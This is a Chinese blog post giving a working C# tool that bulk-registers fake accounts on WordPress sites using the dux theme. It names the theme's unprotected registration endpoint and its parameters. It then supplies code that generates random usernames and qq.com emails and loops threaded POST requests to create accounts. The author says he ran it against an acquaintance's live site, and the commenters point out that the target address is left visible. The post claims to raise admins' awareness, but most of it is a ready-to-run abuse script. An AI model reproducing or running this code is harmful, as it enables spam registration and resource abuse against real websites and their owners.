让代码更简单

WordPress网站批量注册账号C#实现代码

重要:本文最后更新于2019-04-10 08:30:20,某些文章具有时效性,若有错误或已失效,请在下方留言或联系代码狗

和群里诸位站长聊天时说到WordPress开放注册的问题,发现好多WordPress网站开放了注册,包括本站也开放了注册。虽然很多站看起来很高大上,注册弹窗漂亮异常。但是它们都没有对注册信息进行加密处理以及注册限制,留下了可以无限注册的接口。今天就用C#写一个简单的WordPress账号注册机,批量注册一个使用大前端主题dux的网站。大家不要学我,这个站长我认识,刷人家账号是不好的行为哟~

WordPress网站批量注册账号C#实现代码

WordPress网站批量注册账号C#实现代码

首先是使用浏览器进行抓包,chrome内核浏览器可以F12直接抓包,IE需要安装httpwatch软件。具体抓包过程我就不教大家了,很简单,特别是这种没有加密处理的明文信息。下面是dux主题的注册接口:

请求方式:post

请求地址:域名/wp-content/themes/dux/action/log.php

请求参数:

  • name(用户名)
  • email(用户邮箱)
  • action(请求类型,用以判断是否是注册请求),注册请求action 为signup

下面看看C#批量账号注册机的代码实现:

生成随机字母数字的方法,以便我们随机构造邮箱地址。

复制
/// <summary>
/// 生成随机字母与数字
/// </summary>
/// <param name="IntStr">生成长度</param>
/// <returns></returns>
public static string Str(int Length)
{
    return Str(Length, false);
}
/// <summary>
/// 生成随机字母与数字
/// </summary>
/// <param name="Length">生成长度</param>
/// <param name="Sleep">是否要在生成前将当前线程阻止以避免重复</param>
/// <returns></returns>
public static string Str(int Length, bool Sleep)
{
    if (Sleep)
        System.Threading.Thread.Sleep(3);
    char[] Pattern = new char[] { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' };
    string result = "";
    int n = Pattern.Length;
    System.Random random = new Random(~unchecked((int)DateTime.Now.Ticks));
    for (int i = 0; i < Length; i++)
    {
        int rnd = random.Next(0, n);
        result += Pattern[rnd];
    }
    return result;
}

然后是使用HttpWebRequest方法提交post请求,前面已经讲过了,不清楚看这里,C#从WebBrowser中取得Cookie 并在 HttpWebRequest中使用

复制
 public void threadres() {
            int i = 0;
            while (i < Convert.ToInt32(textBox4.Text))
            {
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(textBox3.Text);
                //以下是发送的http头,随便加,其中referer挺重要的,有些网站会根据这个来反盗链
                request.Referer = textBox2.Text;
                request.Accept = "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
                request.Headers["Accept-Language"] = "zh-CN,zh;q=0.";
                request.Headers["Accept-Charset"] = "GBK,utf-8;q=0.7,*;q=0.3";
                request.UserAgent = "User-Agent:Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1";
                request.KeepAlive = true;
                //上面的http头看情况而定,但是下面俩必须加
                request.ContentType = "application/x-www-form-urlencoded";
                request.Method = "POST";

                Encoding encoding = Encoding.UTF8;//根据网站的编码自定义
                string postDataStr = "name=" + Str(10) + "&email=" + Str(10) + "@qq.com&action=signup";
                byte[] postData = encoding.GetBytes(postDataStr);
                request.ContentLength = postData.Length;
                Stream requestStream = request.GetRequestStream();
                requestStream.Write(postData, 0, postData.Length);

                HttpWebResponse response = (HttpWebResponse)request.GetResponse();
                Stream responseStream = response.GetResponseStream();
                //如果http头中接受gzip的话,这里就要判断是否为有压缩,有的话,直接解压缩即可
                if (response.Headers["Content-Encoding"] != null && response.Headers["Content-Encoding"].ToLower().Contains("gzip"))
                {
                    responseStream = new GZipStream(responseStream, CompressionMode.Decompress);
                }

                StreamReader streamReader = new StreamReader(responseStream, encoding);
                string retString = streamReader.ReadToEnd();
                settext settx = new settext(updateui);
                Invoke(settx, retString);
                
                streamReader.Close();
                responseStream.Close();
                i++;
                System.Threading.Thread.Sleep(400);
            }
        }

因为是批量注册,为了不影响UI,使用了线程委托来实现。dux注册返回的是json,c#的json解析比较麻烦,我就不解析了,直接判断第10个字符是数字几就行了,0表示成功。

复制
 thread = new Thread(new ThreadStart(threadres));
 thread.IsBackground = true;
 thread.Start();

用上面的代码启动线程即可。。。好像忘了个委托

复制
public delegate void settext(String str);//定义一个用于更新UI的委托,需要传入一个字符串参数

委托ui处理方法

复制
 public void updateui(String str) {
            j++;
            if(str.Substring(9, 1).Equals("0")) {
                textBox1.Text = textBox1.Text + "\r\n "+j+" 注册成功";
            }
            
        }

搞定,在程序界面填入注册接口地址即可,如果不成功,填入来源地址一般就OK了。这篇文章主要是为了提高诸位站长的运维意识,虽然刷账号没用,后台点几下鼠标就能把所有不合格账号全部删除,但….要提高自己。

感觉很棒!可以赞赏支持我哟~

2 打赏

评论 (2)

登录后评论
尼玛⊙∀⊙!地址也不打马赛克……
这东西打开浏览器就能看到...
QQ咨询 邮件咨询 狗哥推荐